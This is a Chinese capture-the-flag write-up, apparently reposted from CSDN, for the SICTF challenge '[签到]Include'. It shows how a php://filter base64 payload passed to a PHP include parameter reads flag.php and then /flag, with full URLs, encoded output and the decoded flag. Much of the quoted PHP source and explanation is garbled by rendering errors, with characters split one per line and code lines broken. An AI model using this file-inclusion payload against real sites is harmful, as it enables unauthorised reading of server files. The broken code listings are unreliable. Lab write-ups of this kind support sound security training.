本文介绍: 题目名称:[签到]Include#题目简介flag位于flag.php,是一个非常简单的文件包含捏~#题目环境:#函数理解:substr() 函数返回字符串的一部分如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。语法参数string,必需,规定要返回其中一部分的字符串参数start,必需,规定在字符串的何处开始正数 – 在字符串的指定位置开始负数 – 在从字符串结尾开始的指定位置开始。

0×01 分析题目

#题目名称:
[签到]Include
#题目简介
flag位于flag.php,是一个非常简单的文件包含捏~
#题目环境
http://210.44.151.51:10035/
#函数理解:
substr() 函数返回字符串的一部分
如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
语法
substr(string,start,length)
参数string,必需,规定要返回其中一部分的字符
参数start,必需,规定在字符串的何处开始
正数 – 在字符串的指定位置开始
负数 – 在从字符串结尾开始的指定位置开始
0 – 在字符串中的第一个字符处开始,(n-1)
#环境代码
<?php #PHP开始代码,头代码
error_reporting(0); #屏蔽报错信息
if (isset(KaTeX parse error: Expected ‘}’, got ‘#’ at position 60: … #̲_GET函数获取SICTF变量数据,isset函数用来检测SICTF变量是否存在并且是否非空(NULL),if循环判断语句条件满足继续向下执行
if ( substr(KaTeX parse error: Expected ‘}’, got ‘#’ at position 42: …php” ) { #̲substr函数返回SICTF…_GET[“SICTF”]); #include函数包含并执行文件执行SICTF变量值里面的文件,并且返回结果
}

    else {                                                            	#反之
        echo "你干嘛~~~";                                              	#输出 你干嘛~~~
    }
}else {                                                               #反之
    highlight_file(__FILE__);                                         #highlight_file() 函数文件进行语法高亮显示,继续呈现页面代码
}                                                                     #结束

#初次尝试
1.payload
URL/?SICTF=1;
回显结果
你干嘛~~~
2.payload
URL/?SICTF=php;
回显结果
你好厉害呀~~~
条件达成但是并没有回显flag

考虑到题目名称和题目简介以及环境代码中的include文件包含函数
猜测需要用到php://filter伪协议绕过文件包含

0×02 开始解题

#进行PHP伪协议伪造

伪造之前先了解,PHP伪协议构造的规则
php://filter/过滤器|过滤器/resource=待过滤的数据流
web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode
构造后:
php://filter/convert.base64-encode/resource=flag.php
完整payload

1. URL/?SICTF=php://filter/convert.base64-encode/resource=flag.php
2. URL/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php

拆分解析
?是起始符可以理解为连接拼接的意思
URL是环境链接
SICTF是题目中给的变量
=是赋值的意思
php://filter是伪协议
convert转换base64,encode编码
resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换base64编码格式
上传payload
回显结果
你好厉害呀~~~PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg==
显而易见这是base64编码
送去base64解码结果
<?php #PHP开始,头代码
KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 54: … #̲file_path文件路径,/根目录下的flag
if (file_exists($file_path)) { #file_exists检查目录下的flag文件或目录是否存在,if循环判断语句,条件满足继续向下执行

f

l

a

g

=

f

i

l

e

g

e

t

c

o

n

t

e

n

t

s

(

flag = file_get_contents(

flag=filegetcontents(file_path); #file_get_contents() 函数把根目录下的flag整个文件读入一个

f

l

a

g

字符串中

,

flag字符串中,

flag字符串中,flag定义的flag变量
}
else{ #反之
echoerror”; #输出 error
} #结束
通过分析以上代码可知,此flag文件可能是文本文件,并且在/根目录
所以说resource待过滤的数据流不是flag.php而是/flag
重新构造payload
URL/?SICTF=php://filter/convert.base64-encode/resource=/flag
上传payload数据流/flag传入

f

i

l

e

p

a

t

h

参数里面,继续向下执行进入

i

f

循环判断语句中,检擦到

file_path参数里面,继续向下执行 进入到if循环判断语句中,检擦到

filepath参数里面,继续向下执行进入if循环判断语句中,检擦到file_path参数变量/flag根目录下的flag文件存在,继续向下执行
file_get_contents() 函数把根目录下的flag整个文件读入一个

f

l

a

g

字符串参数中

,

并回显

flag字符串参数中,并回显

flag字符串参数中,并回显flag字符串参数的值

再一次拿到base64编码
你好厉害呀~~~U0lDVEZ7ZjZiYzQ1NTQtMDU5Mi00ODdkLTk5ZDQtNTAzZTQ0YWM0ODIyfQo=
送去base64解码
#拿到flag
SICTF{f6bc4554-0592-487d-99d4-503e44ac4822}

base64编码解码网站推荐:https://c.runoob.com/frontend/693/

原文地址:https://blog.csdn.net/m0_73734159/article/details/134676662

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如若转载,请注明出处:http://www.7code.cn/show_3925.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注